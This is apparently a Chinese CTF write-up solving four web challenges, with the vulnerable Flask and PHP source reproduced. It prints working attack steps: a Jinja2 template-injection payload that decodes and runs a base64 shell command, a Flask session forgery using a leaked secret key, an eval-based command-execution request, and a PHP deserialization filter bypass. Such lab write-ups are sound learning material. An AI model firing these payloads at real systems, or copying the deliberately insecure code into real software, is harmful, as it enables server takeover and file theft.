easy_ssti
通过提示url/app.zip拿到源码
from flask import Flask
from flask import render_template_string,render_template
app = Flask(__name__)
@app.route('/hello/')
def hello(name=None):
return render_template('hello.html',name=name)
@app.route('/hello/<name>')
def hellodear(name):
if "ge" in name:
return render_template_string('hello %s' % name)
elif "f" not in name:
return render_template_string('hello %s' % name)
else:
return 'Nonononon'
通过/hello/<name>这个路由进行ssti
没有f即可,这里我用内置函数lipsum打的。命令执行的时候/被禁了,没有什么好的绕过方法,就用base64编码吧
payload:{{lipsum.__globals__.os.popen('echo%20Y2F0IC9mbGFn|base64%20-d|sh').read()}}

easy_signin

一进来很明显的参数,base64解码发现是图片的文件名,猜测是文件包含(但是文件包含是执行代码,怎么可能是图片呢),应该可以任意文件读取,但是依据它的格式应该要base64编码,我试了一下index.php,然后解码得到flag,才发现它是file_gets_content。

easy_flask
正常流程走下去,拿到部分源码
# app.py
from flask import Flask, render_template, request, redirect, url_for, session, send_file, Response
app = Flask(__name__)
app.secret_key = 'S3cr3tK3y'
users = {
}
@app.route('/')
def index():
# Check if user is loggedin
if 'loggedin' in session:
return redirect(url_for('profile'))
return redirect(url_for('login'))
@app.route('/login/', methods=['GET', 'POST'])
def login():
msg = ''
if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
username = request.form['username']
password = request.form['password']
if username in users and password == users[username]['password']:
session['loggedin'] = True
session['username'] = username
session['role'] = users[username]['role']
return redirect(url_for('profile'))
else:
msg = 'Incorrect username/password!'
return render_template('login.html', msg=msg)
@app.route('/register/', methods=['GET', 'POST'])
def register():
msg = ''
if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
username = request.form['username']
password = request.form['password']
if username in users:
msg = 'Account already exists!'
else:
users[username] = {'password': password, 'role': 'user'}
msg = 'You have successfully registered!'
return render_template('register.html', msg=msg)
@app.route('/profile/')
def profile():
if 'loggedin' in session:
return render_template('profile2.html', username=session['username'], role=session['role'])
return redirect(url_for('login'))
........
显然是在/profile/路由进行session伪造。但是这里卡了贼久,伪造的session一直没起作用!后面再BR师傅的帮助下,最后发现在cmd中''是普通字符,""才是字符串界定符!
python flask_session.py encode -s "S3cr3tK3y" -t "{'loggedin':True, 'role':'admin','username':'123'}" 如果是在cmd运行脚本记得字符串得用""包裹
发现可以任意文件读取,拿完整源码/app/app.py
# app.py
from flask import Flask, render_template, request, redirect, url_for, session, send_file, Response
app = Flask(__name__)
app.secret_key = 'S3cr3tK3y'
users = {
'admin': {'password': 'LKHSADSFHLA;KHLK;FSDHLK;ASFD', 'role': 'admin'}
}
@app.route('/')
def index():
# Check if user is loggedin
if 'loggedin' in session:
return redirect(url_for('profile'))
return redirect(url_for('login'))
@app.route('/login/', methods=['GET', 'POST'])
def login():
msg = ''
if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
username = request.form['username']
password = request.form['password']
if username in users and password == users[username]['password']:
session['loggedin'] = True
session['username'] = username
session['role'] = users[username]['role']
return redirect(url_for('profile'))
else:
msg = 'Incorrect username/password!'
return render_template('login2.html', msg=msg)
@app.route('/register/', methods=['GET', 'POST'])
def register():
msg = ''
if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
username = request.form['username']
password = request.form['password']
if username in users:
msg = 'Account already exists!'
else:
users[username] = {'password': password, 'role': 'user'}
msg = 'You have successfully registered!'
return render_template('register2.html', msg=msg)
@app.route('/profile/')
def profile():
if 'loggedin' in session:
return render_template('profile2.html', username=session['username'], role=session['role'])
return redirect(url_for('login'))
@app.route('/show/')
def show():
if 'loggedin' in session:
return render_template('show2.html')
@app.route('/download/')
def download():
if 'loggedin' in session:
filename = request.args.get('filename')
if 'filename' in request.args:
return send_file(filename, as_attachment=True)
return redirect(url_for('login'))
@app.route('/hello/')
def hello_world():
try:
s = request.args.get('eval')
return f"hello,{eval(s)}"
except Exception as e:
print(e)
pass
return "hello"
@app.route('/logout/')
def logout():
session.pop('loggedin', None)
session.pop('id', None)
session.pop('username', None)
session.pop('role', None)
return redirect(url_for('login'))
if __name__ == "__main__":
app.run(host='0.0.0.0', port=8080)
显然/hello/这个路由存在命令执行!
/hello/?eval=__import__('os').popen('tac /f*').read()
easy_php
简单题目+可能因为版本不行,用C字打头绕过
<?php
class ctfshow{
public $ctfshow="tac /f*";
}
if(!preg_match("/^[Oa]:[\d]+/i", $data)){
unserialize($data);
}
$a=new SplObjectStorage();
$a->a=new ctfshow();
$b = serialize($a);
echo $b;
?>


4503

被折叠的 条评论
为什么被折叠?



